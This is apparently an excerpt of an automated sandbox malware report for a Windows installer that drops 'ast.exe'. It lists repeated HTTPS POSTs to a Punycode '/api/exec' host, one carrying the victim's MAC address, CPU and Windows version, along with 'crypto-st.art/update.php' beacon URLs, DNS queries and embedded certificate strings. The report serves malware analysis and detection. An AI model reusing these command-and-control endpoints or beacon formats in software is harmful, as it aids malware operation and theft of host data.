Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 2691MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.19045) x64

Source: Joe Sandbox View

JA3 fingerprint: 74954a0c86284d0d6e1c4efefe92b521

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\AppData\Roaming\im\ast.exe

Code function: 10_2_6B9009F0 recv,send,WSAGetLastError,

10_2_6B9009F0

Source: global traffic	DNS traffic detected: DNS query: id.xn--80akicokc0aablc.xn--p1ai
Source: global traffic	DNS traffic detected: DNS query: trs011.xn--80akicokc0aablc.xn--p1ai
Source: global traffic	DNS traffic detected: DNS query: crypto-st.art

Source: unknown

HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269

Source: xcopy.exe, 00000009.00000003.2083727096.00000000035DA000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2087883460.00000000033F7000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2097505417.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2089288252.000000000360A000.00000004.00000020.00020000.00000000.sdmp, astrct.dll.9.dr, is-951GK.tmp.3.dr, is-UA1D6.tmp.3.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2096624002.000000000341C000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385054264.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2094846139.000000000362E000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2088110800.00000000035C9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2087883460.00000000033F7000.00000004.00000020.00020000.00000000.sdmp, aw_sas32.dll.9.dr, is-PDD2G.tmp.3.dr, is-VCJTB.tmp.3.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2096624002.000000000341C000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385054264.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2094846139.000000000362E000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2088110800.00000000035C9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2087883460.00000000033F7000.00000004.00000020.00020000.00000000.sdmp, aw_sas32.dll.9.dr, is-PDD2G.tmp.3.dr, is-VCJTB.tmp.3.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: ast.exe, 0000000A.00000003.2525562643.00000000060D9000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2525562643.00000000060B8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2534997545.00000000060BF000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2526220762.0000000006089000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2474490964.00000000060A4000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2525562643.00000000060C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gsgccr6alphasslca2023.crl0G
Source: ast.exe, 0000000A.00000003.2525562643.00000000060D9000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2525562643.00000000060B8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2526220762.0000000006089000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2474490964.00000000060A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0
Source: wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2096546624.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385110004.00000000033F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/COMODOTimeStampingCA_2.crl0r
Source: wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2083727096.00000000035DA000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2098265032.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2096546624.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2087883460.00000000033F7000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2097505417.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2089288252.000000000360A000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385110004.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, opus.dll.9.dr, astrct.dll.9.dr, is-951GK.tmp.3.dr, is-UA1D6.tmp.3.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s
Source: xcopy.exe, 00000009.00000003.2083727096.00000000035DA000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2098265032.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2087883460.00000000033F7000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2097505417.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2089288252.000000000360A000.00000004.00000020.00020000.00000000.sdmp, opus.dll.9.dr, astrct.dll.9.dr, is-951GK.tmp.3.dr, is-UA1D6.tmp.3.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2096546624.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385110004.00000000033F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/COMODOTimeStampingCA_2.crt0#
Source: wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2083727096.00000000035DA000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2098265032.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2096546624.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2087883460.00000000033F7000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2097505417.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2089288252.000000000360A000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385110004.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, opus.dll.9.dr, astrct.dll.9.dr, is-951GK.tmp.3.dr, is-UA1D6.tmp.3.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#
Source: xcopy.exe, 00000009.00000003.2083727096.00000000035DA000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2098265032.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2087883460.00000000033F7000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2097505417.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2089288252.000000000360A000.00000004.00000020.00020000.00000000.sdmp, opus.dll.9.dr, astrct.dll.9.dr, is-951GK.tmp.3.dr, is-UA1D6.tmp.3.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: ast.exe, 0000000A.00000002.2980985284.0000000002A00000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2513039914.0000000000D40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crypto-st.art/update.php
Source: ast.exe, 0000000A.00000003.2973573202.0000000006088000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2953370709.000000000608B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crypto-st.art/update.php?id=142104603&stat=6f83f40;a~8
Source: ast.exe, 0000000A.00000003.2856120074.0000000006087000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crypto-st.art/update.php?id=142104603&stat=6f83f48b198bee1c21dc55ad2e0d1b66
Source: ast.exe, 0000000A.00000003.2947103567.000000000609D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crypto-st.art/update.php?id=142104603&stat=6f83f48b198bee1c21dc55ad2e0d1b66-80akicokc0aablc.x
Source: ast.exe, 0000000A.00000003.2746980219.0000000006064000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2797214316.0000000006064000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crypto-st.art/update.php?id=142104603&stat=6f83f48b198bee1c21dc55ad2e0d1b66/
Source: ast.exe, 0000000A.00000002.2992930514.0000000006088000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crypto-st.art/update.php?id=142104603&stat=6f83f48b198bee1c21dc55ad2e0d1b660
Source: ast.exe, 0000000A.00000003.2746980219.0000000006064000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2797214316.0000000006064000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.2992252088.0000000006020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crypto-st.art/update.php?id=142104603&stat=6f83f48b198bee1c21dc55ad2e0d1b667
Source: ast.exe, 0000000A.00000003.2746980219.0000000006064000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2797214316.0000000006064000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.2992252088.0000000006020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crypto-st.art/update.php?id=142104603&stat=6f83f48b198bee1c21dc55ad2e0d1b66G
Source: ast.exe, 0000000A.00000003.2746980219.0000000006064000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crypto-st.art/update.php?id=142104603&stat=6f83f48b198bee1c21dc55ad2e0d1b66Q
Source: ast.exe, 0000000A.00000002.2992252088.0000000006020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crypto-st.art/update.php?id=142104603&stat=6f83f48b198bee1c21dc55ad2e0d1b66Y
Source: ast.exe, 0000000A.00000003.2746980219.0000000006064000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2797214316.0000000006064000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.2992252088.0000000006020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crypto-st.art/update.php?id=142104603&stat=6f83f48b198bee1c21dc55ad2e0d1b66c
Source: ast.exe, 0000000A.00000003.2797214316.0000000006064000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.2992252088.0000000006020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crypto-st.art/update.php?id=142104603&stat=6f83f48b198bee1c21dc55ad2e0d1b66e
Source: ast.exe, 0000000A.00000002.2979445587.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crypto-st.art/update.php?id=142104603&stat=6f83f48b198bee1c21dc55ad2e0d1b66h
Source: ast.exe, 0000000A.00000003.2888461757.0000000006091000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.2979445587.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crypto-st.art/update.php?id=142104603&stat=6f83f48b198bee1c21dc55ad2e0d1b66ln241119_8036.log
Source: ast.exe, 0000000A.00000003.2797214316.0000000006064000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.2992252088.0000000006020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crypto-st.art/update.php?id=142104603&stat=6f83f48b198bee1c21dc55ad2e0d1b66m
Source: ast.exe, 0000000A.00000003.2797214316.0000000006064000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.2992252088.0000000006020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crypto-st.art/update.php?id=142104603&stat=6f83f48b198bee1c21dc55ad2e0d1b66u
Source: ast.exe, 0000000A.00000003.2746980219.0000000006064000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2797214316.0000000006064000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.2992252088.0000000006020000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2856120074.0000000006087000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crypto-st.art/update.php?id=142104603&stat=6f83f48b198bee1c21dc55ad2e0d1b66w
Source: ast.exe, 0000000B.00000002.2513039914.0000000000D40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crypto-st.art/update.phpy
Source: wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2096624002.000000000341C000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385054264.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2083727096.00000000035DA000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2094846139.000000000362E000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2088110800.00000000035C9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2087883460.00000000033F7000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2097505417.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2089288252.000000000360A000.00000004.00000020.00020000.00000000.sdmp, aw_sas32.dll.9.dr, is-PDD2G.tmp.3.dr, astrct.dll.9.dr, is-951GK.tmp.3.dr, is-VCJTB.tmp.3.dr, is-UA1D6.tmp.3.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: ast.exe, 0000000A.00000003.2525562643.00000000060D9000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2525562643.00000000060B8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2534997545.00000000060BF000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2526220762.0000000006089000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2474490964.00000000060A4000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2525562643.00000000060C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/gsgccr6alphasslca20230W
Source: wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2083727096.00000000035DA000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2098265032.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2096546624.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2087883460.00000000033F7000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2097505417.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2089288252.000000000360A000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385110004.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, opus.dll.9.dr, astrct.dll.9.dr, is-951GK.tmp.3.dr, is-UA1D6.tmp.3.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: ast.exe, 0000000A.00000003.2525562643.00000000060D9000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2525562643.00000000060B8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2526220762.0000000006089000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2474490964.00000000060A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/rootr60;
Source: ast.exe, 0000000A.00000000.2386068044.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, ast.exe.9.dr	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/Nhttp://www.borland.com/namespaces/Types
Source: ast.exe, 0000000A.00000002.2979445587.0000000000C20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/e
Source: ast.exe, 0000000A.00000003.2525562643.00000000060D9000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2525562643.00000000060B8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2534997545.00000000060BF000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2526220762.0000000006089000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2474490964.00000000060A4000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2525562643.00000000060C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr6alphasslca2023.crt0
Source: ast.exe, 0000000A.00000003.2525562643.00000000060D9000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2525562643.00000000060B8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2526220762.0000000006089000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2474490964.00000000060A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/root-r6.crt06
Source: ast.exe, 0000000A.00000002.2979445587.0000000000C20000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2513073562.0000000000DA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.borland.com/namespaces/Types
Source: ast.exe, 0000000B.00000002.2513073562.0000000000DA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.borland.com/namespaces/Types?fr
Source: ast.exe, 0000000B.00000002.2513073562.0000000000DA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.borland.com/namespaces/TypesYfT
Source: ast.exe, 0000000A.00000002.2979445587.0000000000C28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.borland.com/namespaces/Typesntime1
Source: ast.exe, 0000000A.00000002.2979445587.0000000000C28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.borland.com/namespaces/Typespeg-tu
Source: ast.exe, 0000000A.00000002.2979445587.0000000000C28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.borland.com/namespaces/Typesw)u
Source: ast.exe.9.dr	String found in binary or memory: http://www.indyproject.org/
Source: wjpP1EOX0L.exe, 00000000.00000003.1711898611.000000007FD20000.00000004.00001000.00020000.00000000.sdmp, wjpP1EOX0L.exe, 00000000.00000003.1711597591.0000000002460000.00000004.00001000.00020000.00000000.sdmp, wjpP1EOX0L.tmp, 00000001.00000000.1712569015.0000000000401000.00000020.00000001.01000000.00000004.sdmp, wjpP1EOX0L.tmp.0.dr	String found in binary or memory: http://www.innosetup.com/
Source: wjpP1EOX0L.exe	String found in binary or memory: http://www.jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
Source: wjpP1EOX0L.exe, 00000000.00000003.1720539531.00000000022C2000.00000004.00001000.00020000.00000000.sdmp, wjpP1EOX0L.exe, 00000002.00000003.2098213335.00000000022A5000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.kngstr.com/?PreDefines.ish
Source: wjpP1EOX0L.exe, 00000000.00000003.1720539531.00000000022AC000.00000004.00001000.00020000.00000000.sdmp, wjpP1EOX0L.exe, 00000000.00000003.1710614762.0000000002460000.00000004.00001000.00020000.00000000.sdmp, wjpP1EOX0L.tmp, 00000001.00000003.1713559295.00000000031A0000.00000004.00001000.00020000.00000000.sdmp, wjpP1EOX0L.tmp, 00000001.00000003.1716936096.00000000021FD000.00000004.00001000.00020000.00000000.sdmp, wjpP1EOX0L.tmp, 00000003.00000003.2086719713.000000000234D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.kngstr.com/?PreDefines.ishAbout
Source: wjpP1EOX0L.tmp, 00000001.00000003.1716936096.00000000021F5000.00000004.00001000.00020000.00000000.sdmp, wjpP1EOX0L.tmp, 00000003.00000003.2086719713.0000000002345000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.kngstr.com/?PreDefines.isha
Source: ast.exe.9.dr	String found in binary or memory: http://www.openssl.org/)
Source: wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2094846139.000000000361A000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2096546624.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385110004.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, is-VCJTB.tmp.3.dr	String found in binary or memory: http://www.openssl.org/V
